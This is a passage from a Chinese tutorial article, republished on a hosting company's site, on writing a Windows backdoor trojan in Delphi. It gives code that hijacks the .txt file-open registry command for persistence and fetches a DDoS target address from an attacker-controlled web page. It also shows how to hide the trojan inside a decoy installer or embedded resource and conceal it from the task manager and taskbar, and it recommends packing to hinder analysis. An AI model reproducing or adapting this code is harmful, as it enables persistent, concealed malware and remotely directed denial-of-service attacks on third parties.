手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>程序设计>delphi>列表

关于开发系统后门软件的几点思路

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

Exit;
Backdoor.WriteString('''''''',FileDescription);//写文件描述数据
if not Backdoor.OpenKey(''''shell\open\command'''', True) then//打开子键
Exit;
Backdoor.WriteString('''''''',ExecName);
Backdoor.CloseKey;//关闭关键字
finally
Backdoor.Free;//释放注册表对象
end;
end;
这样,只要用户双击txt文件,我们的inetsvr.exe就会又跟着启动了。

攻击控制
前些日子在网上看到了一篇关于用bat批处理文件控制病毒程序攻击他人网站的一个例子。由于我对他的那个实例还没有完全搞清楚,不过我们可以使用其他办法来代替bat。下面我们来实现这个过程:
首先,可以申请一个主页空间(假设为
http://www.attack.com/delphiscn)。上传一个ipaddress.txt的文档。内容为192.168.0.1
这里的192.168.0.1为我们要攻击的网站地址。
在Delphi中添加如下语句:
var ipaddress:integer;
NMhttp.Get(''''http://www.attack.com/Delphiscn/ipaddress.txt'''');
ipaddress:=strtoint(NMhttp.Body);
NMhttp.Free;
这样,我们的程序就得到了要攻击的网站地址IPaddress,而且这个IPAddress可由我们自己控制:)
接下来就是论到攻击了,我们可以在程序中加入一段代码。向192.168.0.1不停的发送数据包。造成远程服务器拒绝响应,也就是经常提到的DDOS。当然你也可以用类似Ping这样的方法,由于比较简单,这里就不再细述了。

文件隐匿
如果你设计的程序功能比较强大,也许不止一个可执行文件,而且我们又不能象其他共享软件那样做安装程序。其中最简单的方法就是用copy/b setup.exe run.exe set.exe这条命令把需要运行的程序加载在前一个可执行程序的后面,setup.exe文件的职责有两个,其一是显示假象让别人不知道这是一个木马安装程序,其二就是真实的目的从指定字长定位将木马服务程序截取下来并运行安装,由于木马服务部分采用了“隐形”技术,所以根本不会被察觉,代码部分就是定位拷贝,这里不在细述。还有一种方法是在资源文件RES中预先装入木马,并以数据形式存于当前可执行文件中,在合适的时机释放即可。下面这段代码可用于从RES中释放指定的文件:
procedure runvirus(from:pchar;Fileto:String);
var
tempdir:string;
Buf:pointer;
size:longint;
h,ResHandle:Cardinal;
zip:File;
begin
h:=GetModuleHandle(pchar(extractFilename(paramstr(0))));
tempdir:='''''''';
reshandle:=FindResource(h,Makeintresource(1),''''DAT'''');
buf:=Pointer(loadresource(h,reshandle));
size:=SizeofResource(h,reshandle);
assignfile(zip,tempdir fileto);
rewrite(zip,1);
try
blockwrite(zip,buf^,size)
finally
closefile(zip);
end;
end;
资源文件test.rc制作如下:
* 内容: 1 DAT "test.exe"
* 制作: BRCC32 test.rc
* 在资源文件中加入:
{$R *.DFM}
//加入test.RES,如果不加这一行,当木马释放文件时会找不着资源而报错,一定要注意这个问题:)
{$R test.RES}
* 函数调用:
if not Fileexists(''''test.exe'''') then runvirus(''''DAT'''',''''test.exe'''');
另外,附上几个比较常用的小技巧:
任务管理器中的隐形:
我们可以使用清除标题的方法:
program Project1;
uses
Forms,
Unit1 in ''''Unit1.pas'''' {Form1};
{$R *.RES}
begin
//此处设置标题的清除
Appilcation.Title:='''''''';
Application.Initialize;
Application.CreateForm(TForm1,Form1);
Application.Run;
end.
工具栏上的隐形:
通过使用SetWindowLong函数即可:
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
防止程序多次重复运行:
在制作利用端口进行服务的同时,经常要防止程序的重复执行,因为同一份拷贝在运行时会使用相同的IP地址和相同的端口,必然会产生冲突。所以,为了防止程序二次执行。我们可以在程序启动事件里加入如下代码:
假设我们的程序标题为Neverland
program Neverland;
uses
Forms,Windows,SysUtils,
Neverland in ''''Neverland.pas'''' {Form1};
{$R *.RES}
var
hMutex:HWND;
Ret:Integer;
Begin
Application.Initialize;
Application.Title:=''''Neverland'''';
hMutex:=CreateMutex(nil,False,''''Neverland'''');
Ret:=GetLastError;
IF Ret<>ERROR_ALREADY_EXISTS Then
Begin
Application.CreateForm(TForm1, Form1);
Application.Run;
End
Else
ReleaseMutex(hMutex);
end.

附言
通过上述改进,一个系统后门程序就已经初具雏形了。当然,如果您有兴趣,还可以对其功能进行扩充。最后,千万别忘了用ACPack对它加壳哦,这样会增加他人反汇编的困难。如果您有什么好的思路或方法,欢迎与大家一起讨论:)

参考
《Do all in cmd shell》
http://www.hackeronline.cn/showart.asp?art_id=476&cat_id=7

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!